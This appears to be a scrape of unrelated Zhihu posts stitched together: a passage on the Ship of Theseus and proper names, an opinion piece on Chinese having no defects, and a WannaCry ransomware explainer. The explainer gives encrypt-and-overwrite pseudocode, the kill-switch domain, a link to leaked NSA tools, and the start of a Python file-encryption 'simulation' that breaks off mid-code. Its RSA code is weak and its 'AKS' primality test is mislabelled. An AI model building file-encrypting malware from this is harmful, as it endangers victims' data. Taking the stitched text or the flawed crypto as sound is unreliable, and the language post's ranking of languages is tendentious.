规则,那么我们就会在特修斯之船变得过于怪异之前,暂停我们的长推理,转过头来思考这个地方的特修斯之船是否因为语境的转变而大大改变了意思。&br&&br&如果考虑超赋值方案,我们就会提出一系列的小的标准,每个小的标准都和同一性概念有关,但是丧失其中任何一个都不会被认为直接失去了同一性,但是,当每个小的标准都不能被满足的时候,我们就可以认为同一性在这里已经丧失了。&br&&br&&br&但是让我们来考虑这样一个例子:&br&&blockquote&A 是一艘船,A' 是这艘船 10 年之后的样子,而 B 是 10 年之后,依据 A 的样子造成的摹本。&br&在这种情况下,显然 A 和 A' 的差异要远大于 A 和 B 的差异。但是我们不会认为 B 是 A 而 A' 不是 A。&/blockquote&再考虑另外一个类似的例子:&br&&blockquote&假设路人甲的女儿长得非常想他的妻子年轻时候的样子,而他的妻子这个时候已经人老珠黄面目全非了【哦草别乱用词!】,那么这时候,我们依然很清楚,那个长相性格都很想年轻时候的妻子的女儿毕竟也还是女儿。&/blockquote&&br&事实上,特修斯之船和堆垛悖论的解决方式不可能完全相同,因为在这里,我们考察的不再是一个模糊的谓词,而是一个&b&专名&/b&。&br&&br&Kripke 在 Naming and Necessity 中表达过这样的观点:除了平凡的自身同一性「a 就是 a」之外,不存在一种情况,使得我们可以说,如果满足条件 A、B、C、D、E、F……那么这个对象就是 a。&br&当我们使用专名的时候,我们永远都可以做出一个&b&反向&/b&的假设,比如说:「如果里根没有当选美国总统……」,「如果春哥是个萌妹子……」,「如果地球是方的……」,「如果亚里士多德不是亚历山大的老师,……」,「如果……」……&br&&br&Kripke 指出,对于可能世界,我们并不是先观察情况如何,然后来决定期中某个对象是不是 a,而是预先就规定好了这个是不是 a。这也就使得,我们无法通过属性给出一个跨可能世界的对象和自身同一的充分必要条件。对于任何一个属性,我们总可以假象一种与事实相反的可能性。&br&&br&当然,这里的属性还是有限制的,只有满足了这些限制,我们才算是在良好地使用语言。但是,这些属性本身针对的并不是对象,而是概念。比如说,我们会要求一个概念是一致的,这就是在要求这个概念本身,而不是在要求这个概念所指的对象如何如何。&br&&br&&br&不过我们要问,为什么专名和属性的差别会那么大呢?原因很简单,专名本身的结构性质是不同的。最初 Quine 发明了一种十分之坑爹的方式:把所有专名都摹状词化。比如说,我们要讨论对象 Pegasus(希腊神话中的飞马帕格索斯),那么 Russell 会将「Pegasus is」(或者,「Pegasus exists」,即「帕格索斯存在」)分析为:「There exists such a unique x, that x is a horse, x can fly, and x blah blah blah…」&br&&br&这没问题。因为我们知道 Pegasus 是飞马,然后我们可以根据它在神话中是如何行动的,和谁有什么样的关系,把它的性质全部填进去。就像是当初 Russell 将当今法国国王分析成几个句子的合取那样。&br&&br&但是,对于有些专名,我们甚至不知道它具有什么性质,那么在这种情况下我们要如何分析呢?Quine 给出的解答方案是,创造一个专门的谓词。比如说,我们提到了一个对象,Alex,但是我们不知道 Alex 具体有什么确定的属性,甚至不知道它是个什么东西,那么在这种情况下,我们如何分析「Alex exists」呢?我们创造一个属性,这个属性的解释就是「等同于 Alex」,但是它并不是被形式化为「=a」这样,而是作为一个完整的不可拆分的属性出现。而这个谓词,不如我们就随便命名为「Alexize」吧,它是这样用的「There exists an x such that x Alexizes」。如果依照这种方式分析,那么特修斯之船中的同一性问题就和堆垛悖论中的模糊属性问题有着完全一样的结构了(参考前面那个堆垛悖论中的谓词「是特修斯之船」)。而前面的例子告诉我们,特修斯之船的例子似乎比一般的堆垛悖论更为奇特一些,而这是为什么呢?&br&&br&原因很简单。Quine 的翻译方式漏掉了一个词「唯一」。Russell 在翻译「当今法国国王是秃头」的时候,是这样翻译的:「存在唯一一个 x,x 是当今法国国王,并且 x 是秃头。」,而所谓的「存在唯一一个 x,x 满足 P」要被翻译为「存在 x,x 满足 P,并且(对于任意的 y,如果 y 满足 P,那么 y 就是 x )」。Quine 的翻译漏掉了这一点。而正是这一点,让特修斯之船出现了问题。&br&&br&假设我们用「Theseus」表示「特修斯之船」,那么根据 Quine,「Theseus is」可以翻译为「There exists an x, such that x Theseusizes」。由于我们寻求的并不是一个精确谓词,而是一个模糊谓词,这就会使得集合 { x | x Theseusizes } 不仅是一个模糊集,而且有很多元素。这就糟糕了啊喂!在谷堆的情况下,假设你面前有两个差不多的谷堆,其中一个只比另一个少一粒谷子,那么自然我们会说,它们两个都是谷堆。但是,如果你面前有两艘几乎一样的船,其中一个只比另一个少一个铁原子,我们总不能说它们都叫 Theseus 吧!&br&&br&因此,把特修斯之船和堆垛悖论放在一起比较,最终会发现两个问题的解决方案不可能完全相同。&br&&br&&br&Searle 曾经写过一篇名为 Proper Name 的论文,专门解释了一下专名的工作方式。但是这种解释对于&b&确定&/b&特修斯之船是&b&没有帮助&/b&的。他的解释如下,专名在我们的语言中就是一个钩子,这个钩子上松散地挂了许多的性质,在知识更新的时候,有些性质会被取下来,而一些新的性质会被挂上去。因此,按照 Searle 的观点,似乎两个方向上的特修斯之船都可以被称为特修斯之船。&br&&br&所以,我需要另外给出一个解决方案。&br&&br&考虑一下精确语言方案。&br&&br&特修斯之船版本的精确语言方案如下:我们并不使用「特修斯之船」这个名称,而使用这个名称的完整模式,每一次使用的时候,都精确地表述这是哪个状况下的「特修斯之船」。比如说,假设特修斯之船一年换 1/10 的零件,那么我们在 0~1 年的时候可以将它称为「原始特修斯之船」,在 1~2 年的时候将其称为「第一次更换零件之后的特修斯之船」……并在 10 年之后,将其称为「第十次更换零件之后的特修斯之船」,同时我们有「在第十次维修之后由原始特修斯之船的零件组成的复古特修斯之船」。并且我们可以通过不断加谓词的方式来作出我们需要的区分。&br&&br&那么假设两艘刚造好的特修斯之船只相差一个零件,都没有设定船长是谁,也都没有出航经历,那要怎么办呢?特修斯&b&一号&/b&和特修斯&b&二号&/b&啊!我们的语言怎么会被这种问题难住呢?&br&&br&被改名什么的也很简单啊,写作这样就行了:泰坦尼克号(原经历过十次维修的特修斯之船一号)。&br&&br&你可能会问,这样的区分不就意味着它们和最初的特修斯之船或多或少有些不同么?废话!从严格意义上来说当然每个时刻的都是不同的!并且这里的不同已经大到了我们必须要用语言指出来。&br&&br&这个时候,Searle 的观点就非常有效了:我们并不期待一组属性可以确定一个专名,或者,偶尔不满足属性就会导致一个对象不能被称作如此这样,因为专名和属性之间的关系是松散的。因此,当我们使用语言不会导致歧义的时候(大多数情况下不会有人傻乎乎地硬是要去弄一个特修斯之船第二出来吧),我们的专名可以不加任何修饰。但是即便如此,我们也不应该忘记,这个专名的过去和目前的意义是不同的。具体来说,它的意义在地不断丰富中,一个初生婴儿的名字比一个垂暮老人的名字包含的东西更少,因为垂暮老人的名字中还包括了他几十年的岁月。&br&&br&当我们使用专名有可能导致语言上的歧义的时候,我们就会采取一种更为丰富的语言,而这时,问何者才是真正的特修斯之船就是没有意义的。一个大肠杆菌分裂成了两个,哪个才是&u&真正的&/u&母体呢?自然是那个&b&已经&/b&分裂掉的。当然,实际上专名的分裂情况很有可能并不像是大肠杆菌那样是对半分,而是三七开或者是别的分法,但是我们必须记住:一旦产生了这种分裂,那么分裂出来的两个对象都必然和原来的对象有所不同。在不同情况下的推理,需要沿用不同的性质。&br&&br&比如说,假设原始特修斯之船 A 分裂成我们有换过零件之后的特修斯之船 B(船长没换),以及,用原来零件拼成的特修斯之船 B',那么这时如果我们要根据 A 的材料寿命来预测材料的寿命,那么显然得到的是关于 B' 的材料寿命结论,而如果我们要根据 A 的船长来预测船长人选,那么我们得到的显然是 B 的船长人选。这也部分地解释了专名是如何分裂的。一个专名分裂成两个新的专名,这两个新的专名各自继承了原专名的一部分性质,这些性质中,有一些是可以被分享的,而有一些是不能被分享的。比如说性质「源自于 A」是 B 和 B' 都有,并且 A 本身没有的。而另一些性质,虽然在原则上是可以被多个物体分享的,但是有可能最终恰好只遗传给了一个人(比如说甲板的颜色)。还有一些性质在原则上就是不可分享的,比如说船长的人选。
结论很简单:没有一个绝对有效的跨时间的同一性标准。而说到底,只有一个松散的同一性标准。这个同一性标准是如此之松散,以至于它在直观上会导致不一致。 我们在能够达成共识的地方达成共识,而在不能达成共识的地方搁置问题。 自然,我们会说「一个物体和…
我觉得汉语没有什么值得紧张的缺点,真的没有&br&试着量化一下,尽量客观&br&&br&1、语音&br&没有复辅音,韵尾只剩n、ng(普通话),导致Beckham两个音节要译成 贝克汉姆&br&音译外国人名地名,比西文困难麻烦&br&不过这个还好了,反正这些词又不是什么实词&br&绝大多数实词,汉语用意译,汉字绝对扛得住(反而如果有一天东方词汇大规模输入西方,西方语言会招架不住)&br&&br&2、词汇&br&这个谁都不要跟汉语比,汉语因为有汉字,构词要素全球最最庞大,造词能力在地球上是一骑绝尘&br&&br&3、语法&br&答案基本上集中在这一块,然而【语法缺陷论】的问题在哪呢?&br&(1)欧美中心论。因为你觉得他才是标准的,所以跟他不一样的当然就缺陷了&br&(2)忽略了 句法-形态-语音 3者之间的共生关系&br&==& 西文跟中文,语法确实差异很大,但很多人可能不知道,印欧语系从古到今,形态都在以缓慢的速度往分析语(如汉语)的方向演化,屈折程度减弱,英语则是其中分析化程度最高的&br&==& 现代英语的句法,跟古英语有巨大无比的差别,变得更像汉语了。原因很简单,从古英语的高强度屈折,到现代英语的靠近分析化,句法会一直逐步的调整&br&==& 巴尔干地区扭成一团的 罗马尼亚语、保加利亚语、阿尔巴尼亚语、塞尔维亚语,也经历了大幅度的分析化,最后甚至进化出了跟汉语一样的【有没有】【去不去】的结构,这在俄语这样的语言里是无法想象的&br&==& 屈折语也有优势,比如 historic 和 historical 意思就不同,但这只是少数例子,大部分的屈折词缀完全是累赘的存在,否则也不至于印欧语系一直在砍掉这些屈折&br&==& 汉语的老祖宗——原始汉藏语,也是一种屈折语,然而商代的汉语已经是分析语了,当时还有一些残留,比如 见=keens=及物动词,现=geens=不及物动词,保留到了今天&br&&br&反正分析到这里,完全不觉得汉语谈得上有什么缺点&br&至于英语,英语其实也算是相当没有缺点的&br&真正有缺点的是日语这种语音过于简单的语言,或者韩语、越南语这种把祖宗肩膀砍掉的语言&br&未来人类还需要学习无限多的知识,但这些语言的【脑容量】真的很快就要走向瓶颈了&br&&br&请参考 &a href=&https://www.zhihu.com/question//answer/?group_id=683008& class=&internal&&日语有哪些缺陷? - 林霄的回答&/a&&br&日琉系(日语、琉球语)和 波利系(塔希提、萨摩亚、汤加、毛利、夏威夷)&br&这两者是世界上罕见的演化到【五十音系统】的语言&br&他们进化树都爬错了,语音的过度简化和人类认识丰富世界的目标之间产生了严重矛盾&br&&br&****************************************************************************&br& 补充&br&【汉语的缺陷】这个话题,忍不住答着答着就变成了汉语的优点&br&&br&客观来说,语音上,一旦走上了汉语这种【单字声调】的道路,或者是日语这种【五十音】的道路&br&语音就会在路径依赖下,走向极简,这个其实是不好的,&br&一方面语音的信息在大幅度削减,一方面变成对汉字重度依赖&br&&br&但是很神奇的是,现在人类有一个趋势,就是随着人类科技的发展&br&听觉处理信息的能力,已经被视觉大大甩开了&br&你去朗读一篇论文,不管用哪种语言,听众都很难听懂了,只能用看的&br&所以这就是为什么,汉字的后劲开始出来了,连带惠及日语&br&&br&表音文字 只对扫盲有优势&br&(然而即便是这个也取决于其他因素,台湾和菲律宾,谁扫盲快呢?)&br&&br&西文面临的一个问题在于,&br&汉语和日语已经自行演变成了深度依赖表意文字的语言(语音高度简化)&br&不仅这是一条跟表音的西文不兼容的道路&br&而且 日语的极简发音、汉语演化出的声调,都是跟表音文极度不合的语音&br&&br&这就使得东方人可以难度较小地意译西文、学习西文,&br&但西文要接纳东方的词汇、学习东方语文&br&就面临非常大的难度&br&音译——语音信息太少;意译——自身词根堆叠又太繁琐;汉字——更难&br&&br&虽然说拉丁文作为一门古典语言,词根、词缀的数量,是相当雄厚的&br&但是一来,他还是比不过汉字的储备,&br&二来,近代以来,西方人灵活运用拉丁词缀的能力也在大幅下降(尤其是前缀)&br&比如com+词根 构成的一大堆词汇,95%都是罗马帝国时期就有的,&br&后期只能通过后缀有限地扩展意思:compute(计算),computer(电脑);&br&但西方人基本已经失去了把 pute(修剪) 变成 compute 的能力了,&br&com-在他们看来,也已经太过抽象&br&归根结底,是他们自己的语言本身也一直在往分析化的方向发展&br&&br&近代以来,西方人其实越来越在用汉语的方式构词(分析化),罗马、希腊一起上阵&br&比如 tele-vision,tele-phone,bio-logy,geo-graphy,geo-logy,geo-metry&br&但是比这个,哪里比得过汉语呢?&br&&br&感兴趣的朋友还可以参考&br&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&为什么汉字圈长期行用宽泛意义上的象形文字,而非表音文字?如何看待西方称拼音文字的出现是文字的民主革命? - 林霄的回答&/a&&br&&br&******************************************************************************&br& 补充&br&&br&现代汉语的正式文本,许多僵硬模仿西文的定语从句,确实会常常造成难以辨识的句法&br&比如我最近看的一个合同有这么一句话:&br&【甲方承诺将转让标的交易所股票质押式回购业务债权收益权所获得的资金使用符合相关规定】&br&==& 这句话本身是很不通顺的,【将。。资金使用符合相关规定】应改为【将。。资金用于符合相关规定的方面】&br&但是之所以起草合同的人会写出这种不通顺的话,跟前面的定语过长,导致他已经失去了语感有关&br&&br&这个算是现代汉语的一个缺点了,&br&这句话,改成【转让标的交易所股票质押式回购业务债权收益权所获得的资金,甲方承诺其使用将符合相关规定】才比较好一点&br&但这个可以说并不是语言本身的缺点,而是僵硬模仿造成的水土不服
我觉得汉语没有什么值得紧张的缺点,真的没有 试着量化一下,尽量客观 1、语音 没有复辅音,韵尾只剩n、ng(普通话),导致Beckham两个音节要译成 贝克汉姆 音译外国人名地名,比西文困难麻烦 不过这个还好了,反正这些词又不是什么实词 绝大多数实词,汉语…
&figure&&img src=&https://pic3.zhimg.com/v2-f25ec5addddad0ec1cd2e3ea_b.jpg& data-rawwidth=&883& data-rawheight=&679& class=&origin_image zh-lightbox-thumb& width=&883& data-original=&https://pic3.zhimg.com/v2-f25ec5addddad0ec1cd2e3ea_r.jpg&&&/figure&&p&评论区有一位专职打医闹的搏击运动员“大神”批评我没有实现劫持软件的核心、没做成蠕虫、没讲怎么利用445端口,送了我一顶“蹭热点骗赏钱”的大帽子。我一看,嘿,赞赏还真的开着呢,必须接受批评,接受批评!现在知乎环境真是越来越友好了呢,技术分享总能得到大神良师的批评。已关注“大神”,期待优秀作品。&/p&&p&觉得没讲NSA武器库不过瘾移步这个链接&a href=&https://link.zhihu.com/?target=https%3A//github.com/misterch0c/shadowbroker%3Ffiles%3D1& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&misterch0c/shadowbroker&/a&&/p&&p&=====心平气和敲代码==============分割线=========&/p&&p&本项目GitHub地址:&a href=&https://link.zhihu.com/?target=https%3A//github.com/QuantumLiu/pyRSA_demo& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&pyRSA_demo&/a&&/p&5.12起,加密勒索病毒“&a href=&https://link.zhihu.com/?target=https%3A//zh.wikipedia.org/wiki/WannaCry& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&WANNACRY&/a&”在全球爆发,通过劫持数据文件来向受害者敲诈金钱(只收比特币)。无数机构、个人遭到攻击,国内高校更是哀鸿遍野。截至目前,病毒仍在迅速传播&a href=&https://link.zhihu.com/?target=https%3A//intel.malwaretech.com/WannaCrypt.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&intel.malwaretech.com/W&/span&&span class=&invisible&&annaCrypt.html&/span&&span class=&ellipsis&&&/span&&/a&&figure&&img src=&https://pic3.zhimg.com/v2-3ca25fbd46_b.jpg& data-rawwidth=&800& data-rawheight=&600& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&https://pic3.zhimg.com/v2-3ca25fbd46_r.jpg&&&/figure&&p&(图1:虚拟机运行病毒样本)&/p&&p&一夜之间,勒索软件、比特币刷爆朋友圈和搜索引擎&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-75efc2ddfe7f0b8d84414_b.jpg& data-rawwidth=&1442& data-rawheight=&772& class=&origin_image zh-lightbox-thumb& width=&1442& data-original=&https://pic2.zhimg.com/v2-75efc2ddfe7f0b8d84414_r.jpg&&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-fdee533b4b5cee3ac42d665e_b.jpg& data-rawwidth=&1462& data-rawheight=&769& class=&origin_image zh-lightbox-thumb& width=&1462& data-original=&https://pic2.zhimg.com/v2-fdee533b4b5cee3ac42d665e_r.jpg&&&/figure&在大多数人的印象中“勒索病毒”,是一个高大上的、高科技的、缺德天才黑客搞出来的“超级武器”,充满了神秘感。看着被黑掉的电脑、被篡改的压抑壁纸,心里泛起阵阵无力和恐惧.......&/p&&p&然而,实际上加密勒索软件并不是什么“高科技”武器,原理和实现都非常简单,下&b&面我将以WANNACRY为例,结合Python模拟文件劫持为大家揭开加密勒索软件的神秘面具!&/b&&/p&&h2&&b&算法原理:&/b&&/h2&&p&加密勒索软件顾名思义就是通过加密受攻击电脑的数据,来向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,比如这次WANNACRY使用的就是安全度最高破解难度最大的&a href=&https://link.zhihu.com/?target=https%3A//zh.wikipedia.org/zh-hans/RSA%25E5%258A%25A0%25E5%25AF%%25BC%%25AE%%25B3%2595& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&RSA加密算法&/a&。&/p&&p&算法流程:&/p&&ol&&li&随意选择两个大的质数&img src=&https://www.zhihu.com/equation?tex=p%2Cq& alt=&p,q& eeimg=&1&&,其中&img src=&https://www.zhihu.com/equation?tex=p%5Cne+q& alt=&p\ne q& eeimg=&1&&,计算&img src=&https://www.zhihu.com/equation?tex=n%3Dp%2Aq& alt=&n=p*q& eeimg=&1&&&br&&/li&&li&根据&a href=&https://link.zhihu.com/?target=https%3A//zh.wikipedia.org/wiki/%25E6%25AC%25A7%25E6%258B%%2587%25BD%25E6%& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&欧拉函数&/a&求得一个欧拉数&img src=&https://www.zhihu.com/equation?tex=%7B%5Cdisplaystyle+r%3D%5Cvarphi+%28n%29%3D%5Cvarphi+%28p%29%5Cvarphi+%28q%29%3D%28p-1%29%28q-1%29%7D& alt=&{\displaystyle r=\varphi (n)=\varphi (p)\varphi (q)=(p-1)(q-1)}& eeimg=&1&&&br&&/li&&li&求得一个小于欧拉数&img src=&https://www.zhihu.com/equation?tex=r& alt=&r& eeimg=&1&&的整数&img src=&https://www.zhihu.com/equation?tex=e& alt=&e& eeimg=&1&&&br&&/li&&li&求得&img src=&https://www.zhihu.com/equation?tex=e& alt=&e& eeimg=&1&&关于&img src=&https://www.zhihu.com/equation?tex=r& alt=&r& eeimg=&1&&的模逆元&img src=&https://www.zhihu.com/equation?tex=d& alt=&d& eeimg=&1&&&br&&/li&&li&其中&img src=&https://www.zhihu.com/equation?tex=%28n%2Ce%29& alt=&(n,e)& eeimg=&1&&是公钥,&img src=&https://www.zhihu.com/equation?tex=%28n%2Cd%29& alt=&(n,d)& eeimg=&1&&是私钥&br&&/li&&li&对于明文&img src=&https://www.zhihu.com/equation?tex=P& alt=&P& eeimg=&1&&和密文&img src=&https://www.zhihu.com/equation?tex=C& alt=&C& eeimg=&1&&&br&&/li&&li&加密:&img src=&https://www.zhihu.com/equation?tex=C%3D%28P%5Ee%29%5Cmod+n& alt=&C=(P^e)\mod n& eeimg=&1&&&br&&/li&&li&解密:&img src=&https://www.zhihu.com/equation?tex=P%3D%28C%5Ed%29%5Cmod+n& alt=&P=(C^d)\mod n& eeimg=&1&&&br&&/li&&/ol&&br&&h2&&b&攻击原理(根据观察样本推测):&/b&&/h2&&br&&ul&&li&潜入:通过445端口的漏洞&br&&/li&&li&加密:&/li&&/ul&&br&尝试访问紧急开关&a href=&https://link.zhihu.com/?target=http%3A//www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&/span&&span class=&invisible&&/&/span&&span class=&ellipsis&&&/span&&/a&,失败则启动攻击,佛则保持潜伏(大陆用户除非全局fq否则还是会启动)&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&遍历目录,获得目标目录、文件列表,将每个目录和文件作为循环变量执行循环:
对于目录列表:
克隆自身植入目录,启动子线程调用(非阻塞)
对于文件列表
读取数据文件,记录数据作为明文。
用RSA算法加密明文数据得到密文。
将原文件数据覆写为密文或新建文件写入密文删除源文件,将文件后缀改为指定后缀。
&/code&&/pre&&/div&&h2&&b&勒索与反追踪:&/b&&/h2&&p&修改桌面,弹出勒索对话框与倒计时。&/p&&p&以比特币地址作为唯一支付手段,并使用&a href=&https://link.zhihu.com/?target=https%3A//zh.wikipedia.org/zh-hans/Tor& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Tor网络&/a&防追踪。&/p&&p&受害者通过contact us与黑客联系、谈判,支付赎金后&b&&i&&u&黑客远程解锁or发送秘钥(未知)。&/u&&/i&&/b&&/p&&p&&b&&i&&u&注意,大陆用户无论是否支付赎金都很难成功解密。&/u&&/i&&/b&&/p&&p&&figure&&img src=&https://pic1.zhimg.com/v2-4743cd9efa7ccf7_b.jpg& data-rawwidth=&942& data-rawheight=&637& class=&origin_image zh-lightbox-thumb& width=&942& data-original=&https://pic1.zhimg.com/v2-4743cd9efa7ccf7_r.jpg&&&/figure&(虚拟机)&/p&&p&以上便是对于WANACRY的攻击手段的分析,水平有限,望各位指正!&/p&&p&稍有编程基础的人都可以看出,这个程序非常非常简单,技术含量非常低。于是我想不妨快速实现一个加密软件的模拟来更深入的了解有限。由于是便捷开发,我理所当然的选择了Python作为开发语言。&/p&&h2&&b&Python模拟:&/b&&/h2&&p&&b&郑重声明1:本文及以下代码,只做为文件加密过程的学习和模拟之用,不涉及勒索、提权以及潜入等模块,属于普通软件绝非恶意软件,我从没有将来也不会进行任何恶意攻击!法律的利剑悬于九天之上,任何组织或者个人若根据以下代码做出违法犯罪的行为,自己承担后果!&/b&&/p&&p&&b&郑重声明2:请在虚拟机或者隔离环境下运行程序,避免资料丢失。(题图就是我不小心把anaconda环境搞废了)&/b&&/p&&p&程序可以主要分为辆个模块:RSA加密部分和遍历文件部分。我写了一个multiprocessing的多线程和一个单线程版,但是多线程版在用pyinstaller 打包后不能正常运行,根据反馈应该是pyinstaller的锅,在这里也把代码贴出来望大家指正。&/p&&p&&b&RSA加密:&/b&&/p&&br&&p&Python拥有许多优秀的加密算法库,比如:&a href=&https://link.zhihu.com/?target=https%3A//github.com/martinpaljak/M2Crypto& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/martinpaljak&/span&&span class=&invisible&&/M2Crypto&/span&&span class=&ellipsis&&&/span&&/a& 。不过为了深入了解RSA算法,我选择了手写实现RSA。&/p&&br&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&RSA_decrypt&/span&&span class=&p&&(&/span&&span class=&n&&ciphertext&/span&&span class=&p&&,&/span&&span class=&n&&d&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&):&/span&
&span class=&n&&ciphertext&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&nb&&pow&/span&&span class=&p&&(&/span&&span class=&n&&c&/span&&span class=&p&&,&/span&&span class=&n&&d&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&to_bytes&/span&&span class=&p&&(&/span&&span class=&mi&&8&/span&&span class=&p&&,&/span& &span class=&n&&byteorder&/span&&span class=&o&&=&/span&&span class=&s1&&'big'&/span&&span class=&p&&,&/span& &span class=&n&&signed&/span&&span class=&o&&=&/span&&span class=&bp&&False&/span&&span class=&p&&)&/span& &span class=&k&&for&/span& &span class=&n&&c&/span& &span class=&ow&&in&/span& &span class=&n&&ciphertext&/span&&span class=&p&&]&/span&
&span class=&k&&return&/span& &span class=&n&&b&/span&&span class=&s1&&''&/span&&span class=&o&&.&/span&&span class=&n&&join&/span&&span class=&p&&(&/span&&span class=&n&&ciphertext&/span&&span class=&p&&)&/span&
&span class=&k&&def&/span& &span class=&nf&&RSA_encrypt&/span&&span class=&p&&(&/span&&span class=&n&&plaintext&/span&&span class=&p&&,&/span&&span class=&n&&e&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&):&/span&&span class=&c1&&#对明文RSA加密返回密文&/span&
&span class=&n&&ciphertext&/span&&span class=&o&&=&/span&&span class=&p&&[&/span&&span class=&nb&&pow&/span&&span class=&p&&(&/span&&span class=&n&&c&/span&&span class=&p&&,&/span&&span class=&n&&e&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&to_bytes&/span&&span class=&p&&(&/span&&span class=&mi&&8&/span&&span class=&p&&,&/span& &span class=&n&&byteorder&/span&&span class=&o&&=&/span&&span class=&s1&&'big'&/span&&span class=&p&&,&/span& &span class=&n&&signed&/span&&span class=&o&&=&/span&&span class=&bp&&False&/span&&span class=&p&&)&/span& &span class=&k&&for&/span& &span class=&n&&c&/span& &span class=&ow&&in&/span& &span class=&n&&plaintext&/span&&span class=&p&&]&/span&
&span class=&k&&return&/span& &span class=&n&&b&/span&&span class=&s1&&''&/span&&span class=&o&&.&/span&&span class=&n&&join&/span&&span class=&p&&(&/span&&span class=&n&&ciphertext&/span&&span class=&p&&)&/span&
&span class=&k&&def&/span& &span class=&nf&&AKS&/span&&span class=&p&&(&/span&&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&):&/span&&span class=&c1&&#AKS素性检验&/span&
&span class=&k&&if&/span& &span class=&nb&&pow&/span&&span class=&p&&(&/span&&span class=&mi&&17&/span&&span class=&o&&-&/span&&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&)&/span&&span class=&o&&==&/span&&span class=&nb&&pow&/span&&span class=&p&&(&/span&&span class=&mi&&17&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&)&/span&&span class=&o&&-&/span&&span class=&p&&(&/span&&span class=&n&&a&/span&&span class=&o&&%&/span&&span class=&n&&n&/span&&span class=&p&&):&/span&
&span class=&k&&return&/span& &span class=&mi&&1&/span&
&span class=&k&&else&/span&&span class=&p&&:&/span&
&span class=&k&&return&/span& &span class=&mi&&0&/span&
&span class=&k&&def&/span& &span class=&nf&&big_rand&/span&&span class=&p&&():&/span&&span class=&c1&&#生成大素数&/span&
&span class=&n&&flag&/span&&span class=&o&&=&/span&&span class=&mi&&0&/span&
&span class=&n&&l&/span&&span class=&p&&,&/span&&span class=&n&&u&/span&&span class=&o&&=&/span&&span class=&mi&&2&/span&&span class=&o&&**&/span&&span class=&mi&&16&/span&&span class=&p&&,&/span&&span class=&mi&&2&/span&&span class=&o&&**&/span&&span class=&mi&&32&/span&
&span class=&k&&while&/span& &span class=&ow&&not&/span& &span class=&n&&flag&/span&&span class=&p&&:&/span&
&span class=&n&&n&/span&&span class=&o&&=&/span&&span class=&n&&random&/span&&span class=&o&&.&/span&&span class=&n&&randrange&/span&&span class=&p&&(&/span&&span class=&n&&l&/span&&span class=&p&&,&/span&&span class=&n&&u&/span&&span class=&p&&)&/span&
&span class=&k&&if&/span& &span class=&nb&&any&/span&&span class=&p&&([&/span&&span class=&n&&n&/span&&span class=&o&&%&/span&&span class=&n&&x&/span&&span class=&o&&==&/span&&span class=&mi&&0&/span& &span class=&k&&for&/span& &span class=&n&&x&/span& &span class=&ow&&in&/span&&span class=&p&&[&/span&&span class=&mi&&2&/span&&span class=&p&&,&/span&&span class=&mi&&3&/span&&span class=&p&&,&/span&&span class=&mi&&5&/span&&span class=&p&&,&/span&&span class=&mi&&7&/span&&span class=&p&&,&/span&&span class=&mi&&13&/span&&span class=&p&&]]):&/span&
&span class=&k&&continue&/span&
&span class=&n&&flag&/span&&span class=&o&&=&/span&&span class=&n&&AKS&/span&&span class=&p&&(&/span&&span class=&mi&&2&/span&&span class=&p&&,&/span&&span class=&n&&n&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&n&&n&/span&
&span class=&k&&pass&/span&
&span class=&k&&def&/span& &span class=&nf&&get_e&/span&&span class=&p&&(&/span&&span class=&n&&e_n&/span&&span class=&p&&):&/span&&span class=&c1&&#与欧拉数e_n互质的e&/span&
&span class=&n&&flag&/span&&span class=&o&&=&/span&&span class=&mi&&1&/span&
&span class=&k&&while&/span& &span class=&n&&flag&/span&&span class=&p&&:&/span&
&span class=&n&&e&/span&&span class=&o&&=&/span&&span class=&n&&random&/span&&span class=&o&&.&/span&&span class=&n&&randrange&/span&&span class=&p&&(&/span&&span class=&n&&e_n&/span&&span class=&p&&)&/span&
&span class=&k&&if&/span& &span class=&n&&coprime&/span&&span class=&p&&(&/span&&span class=&n&&e&/span&&span class=&p&&,&/span&&span class=&n&&e_n&/span&&span class=&p&&)&/span&&span class=&o&&==&/span&&span class=&p&&(&/span&&span class=&mi&&1&/span&&span class=&p&&,&/span&&span class=&mi&&0&/span&&span class=&p&&):&/span&
&span class=&n&&flag&/span&&span class=&o&&=&/span&&span class=&mi&&0&/span&
&span class=&k&&return&/span& &span class=&n&&e&/span&
&span class=&k&&def&/span& &span class=&nf&&euclid&/span&&span class=&p&&(&/span&&span class=&n&&a&/span&&span class=&p&&,&/span&&span class=&n&&b&/span&&span class=&p&&):&/span&&span class=&c1&&#扩展欧几里得算法求逆元&/span&
